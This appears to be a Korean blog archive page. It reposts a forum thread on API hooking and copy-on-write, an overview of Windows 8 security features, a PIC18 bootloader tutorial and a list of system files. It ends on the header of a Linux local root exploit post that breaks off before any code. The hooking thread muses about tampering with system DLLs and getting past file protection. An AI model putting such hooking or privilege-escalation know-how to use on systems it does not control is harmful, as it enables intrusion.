posted by 블르샤이닝 2012. 10. 30. 11:44
728x90

아무생각없이 뭐지하고 읽다가...읽다보니 재밌군... 확실히 나도 기초가 약하긴 한것같다. 이제는 확실히 무슨뜻인지 알기에 cw의 개념을 익혀두려고 자료를 남긴다. 그나저나 옛날분들도 공대삘 ㅋㅋㅋㅋㅋ 2007년도인데 멋지다 ㅎㅎ 난 군대 제대했을때네 ㅋㅋ

원본 : http://powerhacker.net/forums/viewtopic.php?t=137

---------------------------------------------------------------------------------------------------

[질문]detour 후킹이 왜 한프로세스에만 영향을 미칠까요?

운영자들: amesianx, powerhacker


답변 게시글

13 개의 게시글 • 1개 중 2 페이지 • 12

[질문]detour 후킹이 왜 한프로세스에만 영향을 미칠까요?

글쓴이: hooker » (화) 02 06, 2007 7:27 pm


안녕하세요.. 

그동안 detour 라이브러리를 별 생각없이 사용해왔는데 갑자기 궁금한게 있어서 질문드립니다. 


제가 알기론 해당 dll을 임포트하는 모든 프로세스들이 그 dll의 코드를 공유하는 걸로 아는데요. 

즉, kernel32.dll을 임포트하는 모든 프로세스가 각각 자신의 virtual address space에 kernel32.dll의 코드를 로드하는게 아니라 kernel32.dll은 한번만 메모리에 로드되고 모든 프로세스가 이 로드된 kernel32.dll의 코드를 공유해서 사용하는 걸로 압니다. 


그렇다면 detour 라이브러리로 kernel32.dll의 lstrcpyA 함수의 프롤로그를 jmp 인스트럭션으로 덮어씌웠다면 이 lstrcpyA api를 사용하는 모든 프로세스가 영향을 받아야(즉, 후킹이 되야) 할텐데 실제론 내가 후킹한 프로세스만 후킹되쟎아요? 

이거 예전에도 고민해봤던 문제인거 같은데 알쏭달쏭하네요. 

기초부터 다시 공부해야할듯 싶네요.  

그럼 답변 부탁드립니다.

hooker

 

상위

...

글쓴이: amesianx » (수) 02 07, 2007 6:06 am


답변입니다. 코드영역이 공유되는게 아닌것은 확실합니다. KERNEL32.DLL 은 


일반 DLL 과 같이 프로세스 공간의 제약을 받고 있습니다. 즉, 별도에서 돌고있습니다. 


같은 공간이 아닙니다. 시스템 DLL 이라고해서 같은 코드를 공유한다고 생각했던거 


자체가 우리들의 무지였습니다. 저도 여태 그렇게만 치부하고 생각해왔었지만 확인해본결과 


그냥 고정적인 주소만 갖고있다뿐이지 일반적인 DLL 과 똑같이 프로세스 공간제약을 받습니다. 


전역적인 DLL 공간 메모리 공유는 아닙니다.. 독립이죠.. 


자세한 내용은 질문하신거 답변드릴려고 실시한 실험보고서를 자료실에 올려놓겠습니다. 


P.S: 고정관념이란거 참 무섭습니다. 그리고 책이란것도 무섭구요.. 책에 공유된다고 나와있으니 

무턱대고 그렇게만 믿고 코드영역도 공유될거라 생각했던게 이리 사람을 혼란스럽게 하다니.. 

책을 하나 보더라도 제대로된 책을 봐야지요... 대충 멋대로 개념갖고 설명하는 책 봐야 더 고생만 

하게 되더군요...


amesianx

운영자


 

전체글: 1611

가입일: (토) 10 07, 2006 3:20 am

상위

...

글쓴이: amesianx » (수) 02 07, 2007 11:03 am


이제 커널단 공부를 시작했으니까... 


자세한 내용은 계속 올려드리겠습니다. 


단지, 현재로써는 이미지는 다르지만 KERNEL32.DLL 이 시스템의 고정주소에 로드된다는 점 


때문에 항상 주소가 같으므로 공유된다고 한것 같습니다. 그 이상이하의 의미도 아닌듯.. 


치트엔진에서 KERNEL32.DLL 을 수정하길래 가능한가 의심을 해본적이 있고 위험한 짓을 


한다고 생각했었는데 전혀 위험한게 아니었습니다. 그냥 뻑날까봐 겁만내고 만지지 않았던게 


잘못이었었던 것 같습니다. KERNEL32.DLL 역시 맘대로 후킹해서 사용하면 됩니다.. 


Detours 를 사용하면서도 후킹을 거는것에 대해서 그다지 심각하게 생각하지 않았다가 실험하면서 


많이 느꼈네요.. 앞으로도 핵심질문 많이 부탁드립니다. ^^; 덕분에 많은 발전이... 


이제 커널로 가야하는 것 같은 생각이.. 유저단에서는 좀 더 심오한 작동테스트에 대해서 분석하는게 


한계가 느껴지네요.. 고난의 시작이... T.T


amesianx

운영자


 

전체글: 1611

가입일: (토) 10 07, 2006 3:20 am

상위

...

글쓴이: hooker » (수) 02 07, 2007 3:54 pm


답변 주실려고 직접 실험까지 해주셔서 정말 감사드립니다.^^ 



예전에 후킹 공부할때 메모해뒀던걸 찾았네요.(이때 고민했던 문제를 또 고민하다니 정말 돌머리인가 봅니다ㅠ.ㅠ) 


제가 착각하고 있던게.. 


9x에선 dll들이 로드되는 영역이 따로 있어서 dll의 api를 후킹하면 이 api를 사용하는 모든 프로세스가 후킹되게 되는데.. 


nt에선 자신이 임포트하는 dll의 코드들을 자신의 프로세스 주소공간에 로드(복사)하므로 후킹하더라도 다른 프로세스엔 영향을 안미치게 되네요. 



그리고 운영자님이 오해하고 계신건지 아님 제가 잘못 이해한건지는 모르겠지만 일반 dll과 시스템 dll을 구별해서 설명하시는데 제가 알기론 Windows상에서 모든 dll은 같은 개념으로 알고 있습니다. 


단지 kernel32.dll은 win32 응용프로그램이라면 모두 사용하므로 재배치에 따른 오버헤드를 없앨려고 항상 같은 베이스 주소에 로드하고 나머지 dll들도 불가피하게 재배치해야할 필요성이 없다면 같은 베이스 주소에 로더가 로드해줍니다. 


즉, 자신이 만든 dll이라도 다른 dll이 이미 로드되 있는 주소를 피한다면 혹은 피하도록 rebasing을 했다면 항상 같은 베이스에 로드됩니다. 



다시 한번 답변 감사드리구요. 

혹시 제가 잘못 알고 있는 부분이나 더 자세히 알고 계신 부분 있으시면 추가 설명 부탁드립니다. 

좋은 하루 되세요.^^

hooker

 

상위

...

글쓴이: amesianx » (수) 02 07, 2007 5:48 pm


네.. 제가 윈98 때만 생각하고 많이 게을렀나봅니다. 


분명히 그때는 책이나 문서에 hooker 님이 말씀하신 것처럼 설명되어 있었거든요.. 


그 개념때문에 아직까지 다들 혼란을 겪는듯 하군요..(전 커널 개발자가 아니니까요.. ^^) 


테스트 해본 바로도 그렇지만 일반 DLL 과 시스템 DLL 이란 차이가 크게 있어보이지 않아보이네요.. 


정리해보면... 


[그럼 지금까지 내용을 모두 합쳐서 아는대로 적어볼까요] 

------------------------------------------------------------------- 

일반 DLL : 주로 하드에서 로딩되고 같은 프로세스의 메모리공간에 이미 로딩되어 있을때만 하드에서 로딩을 안하고 로딩된 놈을 사용. 

일반 DLL : 베이스 주소가 충돌을 피한다면 고정주소, 아니라면 재배치가 발생. 


시스템 DLL : 시스템 영역에 이미 로딩되어져 있다가 사용자 프로세스의 공간으로 매번 맵핑된다(? 이것이 공유의 의미..? 부하는 없나..) 

시스템 DLL : 매번 고정주소가 정해져 있다.(시스템 DLL 이니까 부하를 줄일려는 의도..? 호출주소때문에? 그렇다면 맵핑이나 재배치나.. 

복사는 똑같은데 부하정도는?) 


시스템 DLL 은 실제로 한개의 프로그램을 대상으로 볼때는 그냥 베이스 주소가 고정되어있는 

DLL 정도의 차이밖에 느낄수 있는 차이가 없어보인다.(후킹할때의 실질적 차이?) 

----------------------------------------------------------------- 


어떤게 맞는지는 모르겠으나 KERNEL32.DLL 이 시스템 영역으로 로딩된 뒤에 사용자 메모리로 매번 맵핑이 된다는 


것은 원본을 공유한다는 의미이겠죠..? 그럼 원본을 바꿔버리는 수밖에 없겠군요... 그래서 커널단으로 간단 소린가 


보군요.. 이제서야 커널단으로 가서 공부해야할 의미를 찾았네요.. 유저단은 이것으로 빠빠2 해야겠네요.. 


그래도 마지막으로 한번 유저단에서 커널단으로 안가고 시스템을 주무를 수 있는 방법을 한번 연구해보고 긴 여행을 


시작해야 겠습니다. 마지막 시도.. KERNEL32.DLL 을 직접 바꿔버리면 부팅시에 적용이 되는가.. 안되는가... 어떻게 


쉽게 KERNEL32.DLL 을 바꿀수 있을 것인가.. 정도가 되겠네요... (윈도우는 시스템 DLL 이 변조되면 경고가 뜨죠.. 


윈도우 CD 를 넣으라고.. 복구해야 한다고.. ^^; 이것만 건너뛰면... 쩝.. 가능할진 모르겠군요..) 


좋은 말씀 감사하구요.. 언제나 즐핵하세요.. 화이링.. ^^


amesianx

운영자


 

전체글: 1611

가입일: (토) 10 07, 2006 3:20 am

상위

...

글쓴이: somma » (수) 02 07, 2007 7:14 pm


win 98 이나 nt 나 dll 을 사용하는 방식은 동일하다고 생각하시면 됩니다. 

예를 들어 kernel32.dll 의 경우 0x7c800000 이 image base 라고 가정해 보지요. 

98이든 xp 든 이 kernel32.dll 이 뿐만 아니라 모든 dll 들은 항상 공유됩니다. 

그리고, kernel32.dll 이나 ntdll, gdi32.dll, advapi 등등의 ms dll 들은 내부적으로 이름에 따른 기준 주소 배정 규칙이 정해져 있습니다. 

msdn 어딘가에 있는데 정확한 주소는 잘 기억이..쿨럭... 

암튼 그렇습니다. 

그래서 ms 에서 배포하는 dll 들은 동일한 주소 공간을 사용하지 않으므로 재배치가 필요하지 않습니다. 

암튼 문제는.. 모든 프로세스들이 dll 을 공유하는데 detour 를 박았을때 왜 다른 프로세스에 영향을 미치지 않느냐.. 이건데요 

98에서는 영향을 미칩니다. 그러나 nt 계열에서는 해당 프로세스만 영향을 받습니다. 

이유는 Copy - on - Write 라는 것 때문입니다. 

98에서는 COW 를 지원하지 않았습니다만 nt 계열에선 이걸 지원하죠. 

즉 dll 의 코드를 수정하려고 해당 메모리에 access 하는 순간 해당 메모리 주소에 대한 페이지를 하나 생성해서 새로 생성한 페이지에 Write 를 수행하게 하는거죠. 

다른 프로세스들은 원본 코드 영역을 계속 참조하게 되고요, 타겟 프로세스는 복사된, 즉 수정된 페이지를 참조하게 됩니다. 

그래서 타켓 프로세스는 훅이 되고, 나머지 프로세스들은 그대로인 것입니다. 


CR0 레지스터의 WP 비트를 통해 이걸 구현한다고 합니다  

http://somma.egloos.com/2131561 

여기에 보면 WP 비트를 이용하는 코드가 쬐금 있습니다. ^__^;;

somma

 

상위

...

글쓴이: amesianx » (수) 02 07, 2007 10:09 pm


아하~ 


궁금한 점이 싹~ 풀려버렸네요... 


감사합니다... 


꽉 막혔던게 확 넘어가는 기분이네요.. ㅎㅎㅎ 


그런데 CR0 를 다룰려면... 후킹루틴에 삽입한다고 그냥 될것 같진 않은데.. 


그냥 후킹루틴에 박아넣어도 가능할까요..? 


아니면 Ring0 의 권한을 얻어야 하거나 그런거 아니겠죠..?


amesianx

운영자


 

전체글: 1611

가입일: (토) 10 07, 2006 3:20 am

상위

....

글쓴이: Ph.Friend » (수) 02 07, 2007 10:57 pm


소마님 나이스샷 ^^(미감님 그림표현...) 


제가 알고있던 개념이 COW였군요 후...확실히 이번일 


계기로 많은걸 정립하게 되었습니다 



이거 CR0이라... 


정덕영님의 책의 힘을 다시 빌려야겠습니다 


허허허 -_-; 


간단하게 메모리 영역을 표시하자면 

win2000과 윈도우 nt의메모리 

0xffffffff~0x8000000 : nt의 핵심과 커널 디바이스 드라이버등의시스템이 올라오며 win9x계열과 달리 

전혀 쓰거나 건들수없다 

0x7fffffff~0x7fff0000 : 건들수도없고 쓰이지도 않은영역 ?? 

0x7fffefff~0x00010000 : win32 프로세스영역 

0x0000ffff~0x00000000 :걍 건들수 없는영역 -_-; 건드려봐야 건질게 없대요.. 


즉 두영역으로 압축할수있겟네요

Ph.Friend

 

상위

...

글쓴이: amesianx » (목) 02 08, 2007 2:24 am


아이구 머리야.. ㅡ.ㅡ; 


공부해도 끝이없군요.. 


좋지도 않은 머리 요새 자꾸 버벅대네요.. 


부하가 걸려옵니다... 


ㅎㅎㅎ 


이러다 뇌졸중으로 쓰러지는거 아닌가... -_-; 


요새 몇일 무리했더니 심장도 아프고 머리도 아프고.. 


죽것네요.. 삽질도 머리가 좋아야 해먹지 노가다뛰듯이 


악으로 버티니까 몸이 급격히 쇄약해지네요... 


아.. 목적지는 분명한데 갈길이 참 멀게만 느껴지는군요.. 


언제 또 커널을 파란말인가.. -_-;


amesianx

운영자


 

전체글: 1611

가입일: (토) 10 07, 2006 3:20 am

상위

...

글쓴이: somma » (목) 02 08, 2007 11:13 am


cr0 레지스터를 이용한 코드.. (제 블로그에..)는 커널 레벨에서만 사용가능합니다. 

사실 디바이스를 위한 드라이버(usb 나 기타...)가 아닌경우 드라이버프로그래밍.. 그다지 어렵지 않습니다. 

단지.. 

프로그래밍 환경이 많이 다르기 때문에 필요한 기반 지식과 제약환경이 좀 있다는거죠.. 

(쿨럭..그래서 어려운 거긴 하지만...) 


http://somma.egloos.com/2710282 

전에 내부 교육용 자료를 만들다가.. 블로그에 함께 올린내용인데...도움이 될 수 있을것같네요.  

계속 하려고 했는데 귀찮아서 못하겠더군요. -_-;;

728x90

'시스템 해킹' 카테고리의 다른 글

GetLogicalDrives 값  (0) 2013.08.05
시스템 정보를 보여주는 툴  (0) 2013.02.12
windows 8 의 보안기능  (0) 2012.09.12
WRITING A BOOTLOADER  (0) 2012.05.03
윈도우 시스템파일들.  (0) 2012.04.25
posted by 블르샤이닝 2012. 9. 12. 10:53
728x90




 



윈도우 8에 대한 간단한 소개를 살펴보았다.

  1. 윈도우 8 포렌식 – 소개 (Windows 8 Introduction)

포렌식 관련 흔적을 살펴보기 전에 이번에는 윈도우 8에 추가된 보안 기능에 대해 살펴보자. 윈도우는 새로운 버전을 내 놓을때마다 보안적인 문제를 해결하기 위해 여러가지 보안 매커니즘을 시도하곤 한다. 윈도우 8에서도 역시나 여러가지 시도를 했는데 어떤 새로운 보안 기능이 추가되었는지 한번 살펴보자.

 

부팅 과정을 보다 더 안전하게…
PC가 보급된 이후 거의 30년동안 컴퓨터 부팅은 BIOS가 담당했다. BIOS에 의한 부팅 과정을 간단히 살펴보면 다음과 같다. 좀 더 자세한 부팅 과정은 [#FP-6] 부팅 절차를 참고하자.

  • ROM BIOS -> Option ROM -> MBR -> VBR -> Load Kernel -> Load Drivers

부팅 과정에 대한 공격은 일찍이 있어왔지만 최근 들어 심각한 위협을 받고 있다. 부팅 과정에서 시스템을 감염시키는 StuxNet, Sinowal, Mebroot와 같은 부트킷(Bootkit)이 일반화되고 있기 때문이다. 부팅 과정에서 감염된 시스템은 부팅 이후의 행해지는 어떤 행동도 제어될 수 있기 때문에 사용자 입장에서는 아무것도 믿을 수 없는 환경이 된다.

윈도우는 Vista/7으로 업그레이드되면서 부팅 과정을 좀 더 안전하게 하기 위해 부팅 관련 드라이버의 서명을 검증한다. 보통 안전 모드(Safe Mode)로 부팅을 하면 이 과정이 생략되고 부팅된다. 이러한 노력에도 불구하고 서명 검증을 우회하기 위한 고급 기법도 사용되고 있고 차츰 일반화되어 가고 있다.

윈도우 8에서는 BIOS의 한계를 극복하고 보다 더 안전한 부팅을 위해 다음을 지원한다.

  1. UEFI (Unified Extensible Firmware Interface)
  2. ELAM (Early Launch Anti-Malware) driver
  3. 원격 증명 (Remote Attestation)

1. UEFI
90년대 중반 인텔이 BIOS를 대체할 수단으로 EFI를 제안한 이후, 많은 산업체들이 참여한 포럼에서 다양한 논의를 거쳐 통합된(Unified) 인터페이스 규격으로 만든 것이 UEFI(Unified Extensible Firmware Interface)이다. 현재 v2.3.1이 나와있고 계속 업데이트되고 있다. UEFI에서 개선하고자 했던 BIOS의 한계점은 다음과 같다.

  • 플랫폼에 독립적이어야 한다.
  • 부팅 이전에 보다 향상된 GUI 환경을 지원해야 한다.
  • 2TB 이상의 저장매체를 지원할 수 있어야 한다.

이런 한계점의 개선과 함께 UEFI는 BIOS보다 안전한 부팅(Secure Boot)을 통해 신뢰성을 제공하고자 했다. 그에 따라 UEFI의 모듈은 “chain-of-trust”를 지원하도록 설계되었다. 부팅 체인 상에 취약할 수 있는 모든 모듈은 서명을 하고, 각 모듈은 실행 전에 서명을 검증받는다. 따라서, 신뢰되지 않은 모듈은 로드되지 못하는데 멀티 부팅를 사용할 경우, 다른 OS의 컴포넌트가 로드되지 못하는 상황이 발생한다. 몇몇 벤더에서는 이런 문제 때문에 UEFI 설정을 해제하고 출시하기도 한다. UEFI 자체의 업데이트는 인증서를 이용해 제조사만 가능하다.

안전한 부팅을 지원려면 기존에 사용하던 MBR 방식을 버려야만 한다. MBR 방식에서는 서명이나 검증을 할 수가 없기 때문이다. 물론, 이 문제 이외에도 MBR은 구조상의 한계점으로 2TB 이상의 저장매체를 지원하지 못한다는 단점이 있다. 이에 따라 새로운 파티션 테이블인 GPT(GUID Partition Table)가 등장했다. GPT를 이용하면 윈도우에 로딩되는 컴포넌트를 검증하는 것이 가능하다.

그렇지만, 윈도우 8을 설치한다고 모두 GPT 방식을 사용하는 것은 아니다. UEFI가 동작하려면 시스템이 BIOS가 아닌 UEFI를 지원하는 메인보드를 가지고 있어야 한다. 그렇지 않을 경우는 기존의 MBR을 사용하게 되므로 보안상의 이점이 없다. GPT에 대한 추가적인 내용은 [#FP-9] 파일시스템 – MBR, GPT를 참고하자.

2. ELAM
윈도우 8은 부팅 과정의 신뢰성을 위해 UEFI의 안전한 부팅(Secure Boot)과 더불어 ELAM(Early Load Anti-Malware)라고 불리는 새로운 형식의 드라이버를 사용한다.

마이크로소프트에서 보안에 대해 많은 노력을 하고 있지만 루트킷과 같은 악성코드에 대한 대응은 기존의 백신(Anti-Malware) 업체가 더 뛰어날 수 있다. 부팅 과정에서는 신뢰된 모듈만 로드할 수 있으므로 백신 프로그램은 운영체제가 로드된 이후에만 동작이 가능하다. 이 문제를 해결하고자 백신 업체에게만 제한적으로 인증서를 부여하여 부팅 과정에서 역할을 할 수 있도록 만들었다. 이렇게 인증된 드라이버를 ELAM 드라이버라 한다. ELAM 드라이버를 커널 콜백 함수나 레지스트리 콜백 함수로 등록하면 부팅에 로드되는 각 드라이버의 정보를 얻거나 드라이버의 로드를 막거나 데이터를 수정할 수도 있다.

3. 원격 증명
원격 증명(Remote Attestation)은 TPM(Trusted Platform Module)이 있어야만 동작한다. 부팅 상태를 TPM에 기록하고 부팅이 끝나면 해당 정보를 원격에 있는 신뢰된 증명 시스템으로 보내 정상인지를 검증받는 것이다. 간단히 다음 그림을 살펴보자.

(Ref. http://www.nortoninternetsecurity.cc)

  1. UEFI의 안전한 부팅(Secure Boot)는 인증된 모듈만 로드한다.
  2. 커널은 ELAM으로 인증된 타사의 드라이버와 앱을 실행한다.
  3. 부팅 과정의 상태를 TPM에 기록한다.
  4. TPM의 상태 기록을 원격의 증명 시스템으로 전달하여 정상인지 검증받는다.

 

윈도우 디펜더 강화하기
윈도우 디펜더(Windows Defender)는 윈도우 Vista부터 기본으로 탑재된 소프트웨어로 취약점을 방어한다. 윈도우 7까지는 기본적인 위협만 보호하는 것에 그쳤지만 윈도우 8에서는 행위기반 탐지, 바이러스 팀지/제거, 네트워크 침입 탐지 등의 기능이 포함되었다. 윈도우 8을 설치하면 기본적으로 윈도우 디펜더가 활성화되고, 타사 백신을 설치하게 될 경우 자동으로 비활성화된다. 그렇다면 기존의 백신 시장이 위협을 받지 않을까?

어차피 기존의 개인용 시장에서의 백신은 무료로 배포되고 있고, 기업은 백신을 단순히 보호용이기보다는 침해 대응 서비스까지 확장하여 사용하고 있기 때문에 마소에서 기존의 백신 업체의 이런 서비스 영역까지는 지원하지 않을것이므로 큰 차이는 없을 것 같다.

다만, 이렇게 마소가 지원하게 된 이유는 백신을 설치하지 않고 사용하는 시스템이 기존에 너무 많아서 그런 것은 아닐까? 공격의 대다수는 고도화된 기법이기보다는 단순한 기법이고 보안의 구멍은 이렇게 관리되지 않은 시스템에서 시작되므로 대의를 위해 지원하는 것은 아닌지 퍽이나 긍정적인 상상을 해본다.

다음은 윈도우 8의 윈도우 디펜더 화면이다.

 

스마트스크린 필터 강화하기
IE 기능을 유심히 봤다면 스마트스크린 필터(SmartScreen Filter) 기능을 접해봤을 것이다. 이 기능은 알려진 악성 사이트에 접근하는 것을 차단해주고, 인터넷에서 위험 파일을 다운받지 못하도록 한다. 다운로드 제한을 풀고 강제로 다운받아 실행할 경우 경고를 띄운다.

파일이 인터넷으로부터 다운받았는지 여부는 파일의 ADS(Alternate Data Stream)을 보고 판단하게 된다. 인터넷이나 다른 네트워크에서 전달받은 파일의 ADS에는 존(Zone) 확인 정보(Zone.Identifier)가 함께 기록된다. 윈도우 8에서는 IE 외에 다른 브라우저도 지원하도록 스마트스크린 필터 기능이 더 강력해졌다.

다음은 윈도우 8에서 인터넷으로부터 다운받은 파일을 실행할 경우 나타나는 스마트스크린 필터의 경고 화면이다.

 

익스플로잇을 더 어렵게…
윈도우를 비롯해 모든 운영체제는 보다 더 안전한 환경을 위해 계속적인 노력을 하고 있다. 이러한 노력은 윈도우 8에서도 옅볼 수 있다.

  • ASLR(Address Space Layout Randomization) : ASLR은 프로그램을 실행했을 때 코드와 데이터가 항상 동일한 메모리 주소에 로드되는 것을 방지하기 위해 윈도우 Vista 부터 도입된 기법이다. ASLR은 예측할 수 없도록 랜덤한 주소에 데이터를 사상하지만, 이를 우회하기 위한 다양한 기법이 나와있는 상태이다. 윈도우 8에서는 이렇게 알려진 기법을 막을 수 있도록 좀 더 강화된 랜덤 주소 사상 방식을 사용한다.
  • 윈도우 커널 : 윈도우 8에서는 커널이 악용되는 것을 막기 위해 다양한 기법이 추가되었다. 사용자 모드 프로세스가 프로세스 메모리 공간의 하위 64K를 할당하지 못하도록 하거나 커널 풀(pool) 공격을 막기 위해 무결성 체크를 추가했다. 이외에도 다양한 기법이 사용되는데 좀 더 자세한 내용은 Windows 8: Secure at the Deepest Level 을 참고하자.
  • 윈도우 힙 : 윈도우 8에서는 힙 구조도 기존의 익스플로잇에 대비할 수 있도록 재설계를 했다. 변화된 힙 구조에 대한 좀 더 자세한 내용은 Windows 8 Heap Internals를 참고하자.

 

완벽한 방법이란 있을 수 없다. 대부분의 완벽하다고 하는 방법은 어떤 조건 하에서 이루어진다. 이 경우 안전한 방법을 공격하기 보다는 조건을 무력화시키는데 집중하므로 또 다른 문제가 발생한다. 앞서 살펴본 보안 기능도 나름 고민에 의해 고안된 방법이지만 곧 취약점이 발견되거나 생각지 못했던 곳에서 구멍이 생기기 마련이다.

조직이나 환경의 보안을 강화하고자 한다면 인력으로 할 수 없는 보안 장비나 솔루션을 갖추는 것도 중요하지만 사고 발생가 발생했을 때 피해를 최소화하고 신속히 대응하여 문제점에 대한 적절하고 빠른 해결책을 내는 것도 중요하다. 전자는 비용이 상대적으로 많이 들지만, 후자는 프로세스와 정책을 정비하고 적정한 인력을 뽑아 잘 관리하면 달성할 수 있다.

지속되는 보안 사고로 인해 보안 시장 규모와 투자가 늘어나는 것은 반가운 일이지만, 많은 부분이 보안 장비나 솔루션 도입에만 쓰이는 것이 안타깝다. 보도블럭 갈아 엎듯이 내려온 예산을 쓰기 급급해 하기 보다는 좀 더 중기적으로 계획하고 판단했으면 한다.


728x90
posted by 블르샤이닝 2012. 5. 3. 15:11
728x90

출처 : http://evenchick.com/articles/writing-a-bootloader/


WRITING A BOOTLOADER

I’ve been working on a simple bootloader for PIC18F devices called pbldr. In this article I’ll explain what a bootloader is, and how pbldr currently works. Note that is code is experimental, and is intended to show how a bootloader works.

What is a Bootloader?

The simplest bootloader just runs a program: it could be as simple as a single jump instruction that jumps to the program. In embedded systems, bootloaders usually provide a method of flashing new code to the device and initialize the hardware before running the main program. One example of this is the Arduino bootloader, which loads code from the Arduino IDE to the ATmega microcontroller over asynchronous serial (UART). Bootloaders can include other features, such as code decryption and power-on tests of the device.

Bootloaders allow code to be flashed to a microcontroller without specific programming hardware. This allows end-users to upgrade firmware without needing special hardware.  It can also simplify firmware updates for installed devices that are difficult to physically connect to. For example, an automotive controller might use Controller Area Network to load new code.

How does it work?

A bootloader runs immediately after the device is powered on. It first checks if the user is trying to load new code. If so, it receives the code and loads it into program memory at a specific memory location. Otherwise, it jumps to the start of the user’s program, which has already been loaded at that specific memory location.

Lets look at pbldr, which is currently a (very) minimal example of a bootloader. Full source is available from github.

UART

The UART1 port is used to load programs. There are a few functions that deal with UART:

/********************
 UART 1 Functions
********************/
 
// initializes UART1 at specified baud rate
void UART1Init(long baud){
    RCSTA1bits.SPEN = 1;	// enable port
    TRISCbits.TRISC7 = 1;	// make rx pin an input
    RCSTA1bits.CREN = 1;	// enable receive
    TRISCbits.TRISC6 = 0;	// make tx pin an output
    TXSTA1bits.TXEN = 1;	// enable transmit
    TXSTA1bits.SYNC = 0;	// use async serial
    TXSTA1bits.BRGH = 1;	// high speed mode
    BAUDCON1bits.BRG16 = 1;	// use 16 bit baud rate generator
    SPBRG1 = (FCY/baud/4)-1;	// set baud rate generator
    return;
}
 
// writes a byte to UART1
void UART1TxByte(char byte)
{
    while (!TXSTA1bits.TRMT); // wait until buffer is empty
    TXREG1 = byte;            // write the byte
    return;
}
 
// reads a byte from UART 1
char UART1RxByte(unsigned int timeout)
{
    while (!PIR1bits.RC1IF && timeout > 0)	// wait for data to be available
        timeout--;
    return RCREG1;				// return data byte
 
}
// writes a string from ROM to UART1
void UART1TxROMString(const rom char *str)
{
    int i = 0;
 
    while(str[i] != 0){
        UART1TxByte(str[i]);
        i++;
    }
    return;
}
 
// writes a string from RAM to UART1
void UART1TxString(char *str)
{
    int i = 0;
 
    while(str[i] != 0){
        UART1TxByte(str[i]);
        i++;
    }
    return;
}

These functions are fairly straight forward, and can be fully understood by reading the device datasheet section on the EUSART peripheral. However it is worth noting the difference between UART1TxString and UART1TxROMString. The Microchip C18 compiler will assume variables are in RAM unless the ‘rom’ keyword is used. The UART1TxString function will only work when passed a pointer to a string, and the UART1TxROMString will only work when passed a string stored in ROM (including string literals). In other words, the function calls:

char *str = "test";
UART1TxString(str);

and

UART1TxROMString("test");

are equivalent.

Program Memory

The next set of functions handles writing to flash memory. In this case, it is used to write to program memory. Program memory must be erased before being written to, and it can only be addressed in 64 byte blocks when erasing and writing.

/************************
 Program Memory Functions
*************************/
void FlashErase(long addr)
{
    TBLPTR = addr;
 
    EECON1bits.EEPGD = 1;	// select program memory
    EECON1bits.CFGS = 0;	// enable program memory access
    EECON1bits.WREN = 1;	// enable write access
    EECON1bits.FREE = 1;	// enable the erase
 
    INTCONbits.GIE = 0;		// disable interrupts
 
    // erase sequence
    EECON2 = 0x55;
    EECON2 = 0xAA;
    EECON1bits.WR = 1;
 
    INTCONbits.GIE = 1;		// enable interrupts
}
 
void FlashWrite(long addr, char *data)
{
    int i;
 
    FlashErase(addr);		// must erase flash before writing
 
    TBLPTR = addr;
 
    // load the table latch with data
    for (i = 0; i < 64; i++)
    {
        TABLAT = data[i];	// copy data from buffer
        _asm
            TBLWTPOSTINC	// increment the table latch
        _endasm
    }
 
    TBLPTR = addr;
 
    EECON1bits.EEPGD = 1;	// select program memory
    EECON1bits.CFGS = 0;	// enable program memory access
    EECON1bits.WREN = 1;	// enable write access
 
    INTCONbits.GIE = 0;		// disable interrupts
 
    // write sequence
    EECON2 = 0x55;
    EECON2 = 0xAA;
    EECON1bits.WR = 1;
 
    INTCONbits.GIE = 1;		// enable interrupts
 
}

FlashErase erases 64 bytes of program memory at the specified offset, and FlashWrite writes 64 bytes at the specified offset. Note the _asm and _endasm directives which are used to include assembly code. The TABWTPOSTINC instruction is used to increment the table write pointer. The sequence for writing and erasing is taken directly from the device datasheet section on flash memory.

Flashing and Running Code

This is the entry point when the device is first powered on.

void main()
{
    int i;
    long cur_addr = 0x800;
    char buf[64];
    char done = 0;
 
    UART1Init(115200);
 
    // wait for request to load code
    if (UART1RxByte(20000) == 0)
        _asm goto 0x800 _endasm	// no request, jump to program
 
    UART1TxROMString("OK\n");
    for (;;)
    {
        for (i = 0; i < 64; i++)
        {
            buf[i] = UART1RxByte(5000);
            if (buf[i-3] == 'D' && buf[i-2] == 'O' &&
                buf[i-1] == 'N' && buf[i] == 'E')
            {
                done = 1;
                break;
            }
        }
        FlashWrite(cur_addr, buf);
        cur_addr += 64;
        UART1TxByte('K');
        if (done)
            break;
    }
 
    UART1TxROMString("DONE\n");
    _asm goto 0x800 _endasm
}

First, UART1 is initialized  and the program waits for a request to load code. If it does not receive this request before the timeout, it will jump to 0×800 in program memory, which is the start of the loaded program.

If it does get a request to load code, it will receive data one byte at a time, and write every 64 bytes to program memory. Once the sequence ‘DONE’ is received, the write loop ends and the bootloader jumps to the program at 0×800.

Flashing Code

To flash code, connect to the device and send a byte immediately after power on. Then send code one byte at a time, followed by “DONE”. The device will then start the flashed application. When it resets, it will jump to the application after a short delay.

To get a compiler to generate code for the device, you will need to tell it to put code at the 0×800 offset, otherwise all of the jumps and branches will be incorrect. This can be done with a linker script. I’ll have more about that soon.

Next Steps

This bootloader is very simple and works, but has some issues. Interrupts are not yet supported, the sequence for flashing is not robust, there is are no checksums, etc… This is a first working state of the project. I hope to improve it to address the aforementioned issues and develop support for loading code from other protocols including CAN.

See part two for some background on interrupts, and getting them to work with a bootloader.


728x90
posted by 블르샤이닝 2012. 4. 25. 15:20
728x90
퍼온거임 출처는 기억안남~ 알려주시면 달겠습니다 ^^

 1. Ntoskrnl.exe

 - 실행부와 커널

 

  

2. Ntkrnlpa.exe

-   64GB까지의 물리적 메모리 주소를 허용하는 메모리 관리 실행부와 커널

 

  

3.  Hal.dll

-   시스템에 설치된 하드웨어를 XP에서 제어하도록 장치 드라이버를 추상화

 

  

4. Win32k.sys

- Win32 서브 시스템의 커널 모드 부분으로,

   디스플레이를 제어하고 키보드, 마우스 밑 다른 장치들에서 입력된 메시지를 모아 응용 프로그램에 전달하는 역할
 

  

5. Ntdll.dll

- 서브 시스템을 위한 각종 DLL 파일을 실행시키기 위한 특별한 시스템 지원 라이브러리

 

 

 6. Kernel32.dll

   Advapi32.dll

   User32.dll

   Gdi32.dll

-   32비트 윈도우용 응용 프로그램을 지원하는 핵심 API를 구원하는 DLL 파일들.

728x90
posted by 블르샤이닝 2012. 1. 24. 10:15
728x90
/*
 * Mempodipper
 * by zx2c4
 * 
 * Linux Local Root Exploit
 * 
 * Rather than put my write up here, per usual, this time I've put it
